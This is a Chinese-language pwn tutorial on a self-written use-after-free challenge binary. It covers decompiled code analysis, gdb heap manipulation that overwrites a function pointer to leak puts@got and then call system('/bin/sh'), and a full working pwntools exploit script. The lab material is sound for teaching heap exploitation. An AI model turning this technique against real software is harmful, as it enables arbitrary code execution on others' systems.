这里我们由于一直找不到user-after-free比较好的例题,我就自己写了一个相关的例题;我们直接开搞
我们还是先进行静态分析:
我们还是先看mian函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v3; // rax
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("UAF: hijack the function pointer");
while ( 1 )
{
menu();
v3 = read_int();
if ( v3 == 4 )
return 0;
if ( v3 > 4 )
goto LABEL_12;
switch ( v3 )
{
case 3uLL:
show_note();
break;
case 1uLL:
add_note();
break;
case 2uLL:
del_note();
break;
default:
LABEL_12:
puts("Invalid choice");
break;
}
}
}

unsigned __int64 read_int()
{
int v0; // eax
char buf; // [rsp+Bh] [rbp-25h] BYREF
int v3; // [rsp+Ch] [rbp-24h]
char nptr[8]; // [rsp+10h] [rbp-20h] BYREF
__int64 v5; // [rsp+18h] [rbp-18h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
*(_QWORD *)nptr = 0;
v5 = 0;
v3 = 0;
while ( v3 <= 14 && read(0, &buf, 1u) > 0 && buf != 10 )
{
v0 = v3++;
nptr[v0] = buf;
}
return strtoul(nptr, 0, 10);
}
read_int这个函数就是读取函数,最多读取14个数据
strtoul是将字符串装换成数字,后面的10表示是十进制
我们接着往下看:
先看add:
int add_note()
{
__int64 v1; // rbx
int i; // [rsp+4h] [rbp-1Ch]
unsigned __int64 size; // [rsp+8h] [rbp-18h]
for ( i = 0; ; ++i )
{
if ( i > 15 )
return puts("Full");
if ( !*((_QWORD *)¬es + i) )
break;
}
printf("Size: ");
size = read_int();
if ( !size || size > 0x200 )
return puts("Invalid size");
*((_QWORD *)¬es + i) = malloc(0x10u);
**((_QWORD **)¬es + i) = print_note_content;
v1 = *((_QWORD *)¬es + i);
*(_QWORD *)(v1 + 8) = malloc(size);
printf("Content: ");
read_n(*(_QWORD *)(*((_QWORD *)¬es + i) + 8LL), size);
++note_count;
return puts("Done");
}
这里我们在进行申请完新的空间之后就形成了这样的图形
[.bss 段] [Heap 堆空间]
0x4040a0 + i*8 Chunk 1 (结构体, 0x10 字节)
+---------------+ +---------------------------------------+
| notes[i] | -------------> | +0x00: print_note_content (0x40131e) | <- 第19行填充
+---------------+ |---------------------------------------|
| +0x08: content 指针 | <- 第20行填充
+-------------------|-------------------+
|
v
Chunk 2 (用户数据块, malloc(size))
+---------------------------------------+
| 用户输入的字符串数据 |
| (如 "aaaa..." 或 payload) |
+---------------------------------------+
我们继续看del函数
int del_note()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Index: ");
v1 = read_int();
if ( v1 > 0xF || !*((_QWORD *)¬es + v1) )
return puts("Invalid");
free(*(void **)(*((_QWORD *)¬es + v1) + 8LL));
free(*((void **)¬es + v1));
return puts("Deleted");
}
这里我们发现这两个指针我们进行释放之后并没有进行置为空,这样一来就出现了user-after-free这个漏洞
我们继续看show函数
int show_note()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Index: ");
v1 = read_int();
if ( v1 <= 0xF && *((_QWORD *)¬es + v1) )
return (**((int (__fastcall ***)(_QWORD))¬es + v1))(*(_QWORD *)(*((_QWORD *)¬es + v1) + 8LL));
else
return puts("Invalid");
}
我们这里将第8行的return进行转换一下这样看着太难受了
return notes[v1]->printnote(notes[v1]->content);
这样就好看多了,这里就是一个打印函数
这里我们继续完静态验证之后,来开始进行动态验证


这里我们先进行申请两个chunk,之后全部进行释放


上图就是现在的bin的状态,两个bin的大小都没超过fastbin的最大限制,所以遵循fastbin的后进先出的原则


此时我们进行查看notes的地址,发现这个时候我们进行将两个chunk进行释放之后并没有置为null
此时我们申请一个chunk大小是0x18这个时候就会将chunk0分配出去,这个时候可能你会问这是为什么?出去的不是chunk1吗?这里我们别忘记了add中会先申请一个大小是0x10的chunk

此时我们进行查看一下发现这里chunk2的地址和chunk1的地址是一样的

gdb
set $n2 = *(unsigned long*)(0x4040a0+16) # notes[2](★
必须解引用)
set $c2 = *(unsigned long*)($n2+8) # notes[2]->content
p/x $n2
p/x $c2
p/x *(unsigned long*)0x4040a0 # notes[0]
这里我们可以看出来经过我们的设置此时chunk2的头指向的是chunk1的头,content2使用的是chunk0这块空间


gdb
set {unsigned long}$c2 = 0x40131e # printnote =
print_note_content
set {unsigned long}($c2+8) = 0x404020 # content =
puts@got
x/2gx $c2 # 应显示 0x40131e /
0x404020
我们继续进行设置
这样一来我们进行运行就可以成功的泄漏puts@got的地址了

这里其实已经泄漏成功了只是我的编译器大多时候输出地址都会乱码

这里算出来libc的基地址

这里我们接着释放之后重新进行申请

gdb
set $n3 = *(unsigned long*)(0x4040a0+24) #
notes[3](+24,不是 +16)
set $c3 = *(unsigned long*)($n3+8)
p/x $c3
p/x *(unsigned long*)0x4040a0 # 必须相等(=
0x405260)
set {unsigned long}$c3 = $lb + 0x4f420 # printnote = system
set {unsigned long}($c3+8) = $lb + 0x1b3d88 # content =
"/bin/sh"
x/2gx $c3

我们接着进行展示一下就可以拿到shell
之后就交给py脚本了
from pwn import *
context(arch='amd64', os='linux', log_level='info')
elf = ELF('./uaf_hook')
libc = ELF('./libc-2.27.so')
PRINT_NOTE_CONTENT = elf.sym['print_note_content']
PUTS_GOT = elf.got['puts']
def start():
p = process(['./ld-2.27.so', '--library-path', '.', './uaf_hook'])
p.timeout = 3
p.recvuntil(b'> ')
return p
def add(p, size, data):
p.sendline(b'1')
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())
p.recvuntil(b'Content: ')
p.send(data.ljust(size, b'\x00')[:size])
p.recvuntil(b'> ')
def delete(p, idx):
p.sendline(b'2')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'> ')
def show(p, idx):
p.sendline(b'3')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
return p.recvline()
def exploit():
p = start()
add(p, 0x30, b'a' * 0x30) # idx0: struct(0x20) + content(0x40)
add(p, 0x30, b'b' * 0x30) # idx1
delete(p, 0) # fastbin[0x20]: struct0 ; fastbin[0x40]: content0
delete(p, 1) # fastbin[0x20]: struct1 -> struct0
# ---- [1][2] content 落到 struct0 => 控制 notes[0];顺便泄露 libc ----
add(p, 0x18, p64(PRINT_NOTE_CONTENT) + p64(PUTS_GOT)) # idx2
leak = u64(show(p, 0).strip().ljust(8, b'\x00'))
libc_base = leak - libc.sym['puts']
log.info('puts = %#x libc_base = %#x', leak, libc_base)
assert libc_base & 0xfff == 0, 'libc 基址未对齐'
# ---- [3] 劫持 printnote = system, content = "/bin/sh" ----
delete(p, 2) # 归还 struct0 / struct1
binsh = libc_base + next(libc.search(b'/bin/sh'))
add(p, 0x18, p64(libc_base + libc.sym['system']) + p64(binsh)) # idx3
show(p, 0) # -> system("/bin/sh")
sleep(0.3)
p.sendline(b'echo PWNED_UAF; id; uname -m')
try:
out = p.recvuntil(b'x86_64', timeout=3)
except Exception:
out = b''
return out
if __name__ == '__main__':
for i in range(3):
try:
out = exploit()
except Exception as e:
log.warning('attempt %d err %r', i + 1, e)
continue
if b'PWNED_UAF' in out:
log.success('SHELL OK')
print('---------------- shell output ----------------')
print(out.decode(errors='replace').strip())
print('----------------------------------------------')
break
log.warning('attempt %d 未拿到 shell', i + 1)
else:
log.failure('NOT OK')